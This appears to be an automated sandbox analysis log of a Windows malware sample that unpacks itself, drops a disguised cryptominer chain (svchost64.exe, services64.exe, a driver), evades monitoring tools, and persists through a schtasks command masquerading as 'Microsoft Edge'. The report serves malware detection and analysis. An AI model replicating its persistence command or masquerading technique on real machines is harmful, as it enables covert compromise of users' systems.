Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\services64.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\services64.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\services64.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\services64.exe	Section loaded: version.dll
Source: C:\Windows\System32\services64.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\services64.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\services64.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\services64.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\services64.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\services64.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\services64.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\services64.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\services64.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\services64.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\services64.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\services64.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\services64.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\services64.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\services64.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\services64.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\services64.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\services64.exe	Section loaded: wintypes.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 1862656 > 1048576

Source: file.exe

Static PE information: Raw size of nataabbx is bigger than: 0x100000 < 0x195200

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.960000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nataabbx:EW;ijueevze:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nataabbx:EW;ijueevze:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 1.2.axplong.exe.c20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nataabbx:EW;ijueevze:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nataabbx:EW;ijueevze:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 2.2.axplong.exe.c20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nataabbx:EW;ijueevze:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nataabbx:EW;ijueevze:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 6.2.axplong.exe.c20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nataabbx:EW;ijueevze:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nataabbx:EW;ijueevze:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: miner2.0.exe.82.dr	Static PE information: real checksum: 0x0 should be: 0x18d41
Source: axplong.exe.0.dr	Static PE information: real checksum: 0x1c94ce should be: 0x1ceea0
Source: svchost64.exe.85.dr	Static PE information: real checksum: 0x0 should be: 0x9e48
Source: services64.exe.107.dr	Static PE information: real checksum: 0x0 should be: 0x18d41
Source: file.exe	Static PE information: real checksum: 0x1c94ce should be: 0x1ceea0
Source: sihost64.exe.139.dr	Static PE information: real checksum: 0x0 should be: 0xcc5b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nataabbx
Source: file.exe	Static PE information: section name: ijueevze
Source: file.exe	Static PE information: section name: .taggant
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: nataabbx
Source: axplong.exe.0.dr	Static PE information: section name: ijueevze
Source: axplong.exe.0.dr	Static PE information: section name: .taggant
Source: loader_5879465914[1].exe.6.dr	Static PE information: section name: .xdata
Source: loader_5879465914[1].exe.6.dr	Static PE information: section name: /4
Source: loader_5879465914[1].exe.6.dr	Static PE information: section name: /19
Source: loader_5879465914[1].exe.6.dr	Static PE information: section name: /31
Source: loader_5879465914[1].exe.6.dr	Static PE information: section name: /45
Source: loader_5879465914[1].exe.6.dr	Static PE information: section name: /57
Source: loader_5879465914[1].exe.6.dr	Static PE information: section name: /70
Source: loader_5879465914[1].exe.6.dr	Static PE information: section name: /81
Source: loader_5879465914[1].exe.6.dr	Static PE information: section name: /92
Source: loader_5879465914.exe.6.dr	Static PE information: section name: .xdata
Source: loader_5879465914.exe.6.dr	Static PE information: section name: /4
Source: loader_5879465914.exe.6.dr	Static PE information: section name: /19
Source: loader_5879465914.exe.6.dr	Static PE information: section name: /31
Source: loader_5879465914.exe.6.dr	Static PE information: section name: /45
Source: loader_5879465914.exe.6.dr	Static PE information: section name: /57
Source: loader_5879465914.exe.6.dr	Static PE information: section name: /70
Source: loader_5879465914.exe.6.dr	Static PE information: section name: /81
Source: loader_5879465914.exe.6.dr	Static PE information: section name: /92
Source: Microsoft-Edge.exe.7.dr	Static PE information: section name: .xdata
Source: Microsoft-Edge.exe.7.dr	Static PE information: section name: /4
Source: Microsoft-Edge.exe.7.dr	Static PE information: section name: /19
Source: Microsoft-Edge.exe.7.dr	Static PE information: section name: /31
Source: Microsoft-Edge.exe.7.dr	Static PE information: section name: /45
Source: Microsoft-Edge.exe.7.dr	Static PE information: section name: /57
Source: Microsoft-Edge.exe.7.dr	Static PE information: section name: /70
Source: Microsoft-Edge.exe.7.dr	Static PE information: section name: /81
Source: Microsoft-Edge.exe.7.dr	Static PE information: section name: /92

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C3D84C push ecx; ret	6_2_00C3D85F
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Code function: 85_2_00007FFD9BAC00BD pushad ; iretd	85_2_00007FFD9BAC00C1
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Code function: 107_2_00007FFD9BAC01BD push E95E5098h; ret	107_2_00007FFD9BAC0259
Source: C:\Windows\System32\services64.exe	Code function: 114_2_00007FFD9BAD00BD pushad ; iretd	114_2_00007FFD9BAD00C1
Source: C:\Windows\System32\services64.exe	Code function: 122_2_00007FFD9BAA00BD pushad ; iretd	122_2_00007FFD9BAA00C1
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Code function: 139_2_00007FFD9BAA01BD push E95E5298h; ret	139_2_00007FFD9BAA0259
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Code function: 144_2_00007FFD9BAC01BD push E95E5098h; ret	144_2_00007FFD9BAC0259
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Code function: 149_2_00007FFD9BA901BD push E95E5398h; ret	149_2_00007FFD9BA90259
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Code function: 159_2_00007FFD9BAD01BD push E95E4F98h; ret	159_2_00007FFD9BAD0259

Source: file.exe	Static PE information: section name: entropy: 7.9826212288436125
Source: file.exe	Static PE information: section name: nataabbx entropy: 7.954246533814316
Source: axplong.exe.0.dr	Static PE information: section name: entropy: 7.9826212288436125
Source: axplong.exe.0.dr	Static PE information: section name: nataabbx entropy: 7.954246533814316
Source: miner2.0.exe.82.dr	Static PE information: section name: .text entropy: 7.899470281638457
Source: svchost64.exe.85.dr	Static PE information: section name: .text entropy: 7.409218062568192
Source: services64.exe.107.dr	Static PE information: section name: .text entropy: 7.899470281638457

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Executable created and started: C:\Windows\system32\services64.exe
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Executable created and started: C:\Windows\system32\Microsoft\Libs\sihost64.exe

Sample is not signed and drops a device driver

Source: C:\Users\user\AppData\Local\Temp\svchost64.exe

File created: C:\Windows\system32\Microsoft\Libs\WR64.sys

Source: C:\Windows\System32\curl.exe	File created: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	File created: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	File created: C:\Users\user\AppData\Local\Temp\svchost64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	File created: C:\Windows\System32\Microsoft\Libs\WR64.sys	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\loader_5879465914[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	File created: C:\Windows\System32\services64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	File created: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	File created: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	File created: C:\Windows\System32\Microsoft\Libs\WR64.sys	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	File created: C:\Windows\System32\services64.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cscript.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "Microsoft Edge" /tr "C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe" /sc onlogon /rl highest /f

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
